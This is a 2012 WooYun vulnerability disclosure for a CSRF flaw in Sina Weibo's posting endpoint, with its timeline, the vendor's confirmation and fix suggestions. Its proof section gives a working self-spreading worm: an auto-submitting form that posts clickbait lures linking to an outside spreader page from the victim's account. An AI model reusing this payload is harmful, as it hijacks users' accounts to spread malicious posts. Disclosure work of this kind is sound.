当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-05032

漏洞标题:新浪微博可导致大面积病毒传播漏洞

相关厂商:新浪

漏洞作者: songlv

提交时间:2012-03-05 12:10

修复时间:2012-04-19 12:11

公开时间:2012-04-19 12:11

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-03-05: 细节已通知厂商并且等待厂商处理中
2012-03-05: 厂商已经确认,细节仅向厂商公开
2012-03-15: 细节向核心白帽子及相关领域专家公开
2012-03-25: 细节向普通白帽子公开
2012-04-04: 细节向实习白帽子公开
2012-04-19: 细节向公众公开

简要描述:

顺便结合之前发的自动加关注漏洞,完美结合!

详细说明:

微数据 发微博缺少来源验证

漏洞证明:

看看这个微博 http://weibo.com/1829851507/y8ohe17Ct 可试下威力,记得试过了赶快删除微博,以免传播开...

<form action="http://data.weibo.com/mydata/ajax/post" method="post"  id="f2" target="ifr2">
<input name="text" id="updatemsg" value="">
<input name="picid" value="6d115173jw1dqo6buv5r0j">
<input name="pic" value="http://ww1.sinaimg.cn/large/6d115173jw1dqo6buv5r0j.jpg">
<input type="submit">
</form>
<iframe id="ifr2" name="ifr2"></iframe>
<script>
function rand_msg(){
var url = ' http://weibonews.sinaapp.com/data.php?id=' + new Date().getTime();
var msgs = [
'晒一个90后男生的惊人结婚帐:',
'怀二胎PP想尽办法逼我生儿子:',
'明星成名前的卑微职业曝光:',
'户籍制度改革终于艰难起步:',
'白静被杀,盘点因情变酿成悲剧的明星们(图):',
'终于曝光:朝鲜战争中被埋没了50年的惊人真相:',
'主席一句话:周总理惊呆了,尼克松心服了 :'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + url;
return msg;
}
function update(msg){
document.getElementById('updatemsg').value=encodeURIComponent(rand_msg())
document.getElementById('f2').submit();
}
update(rand_msg());
</script>

修复方案:

1.加来源限制
2.加是否是ajax判断

版权声明:转载请注明来源 songlv@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-03-05 09:57

厂商回复:

感谢提供,马上修复

最新状态:

暂无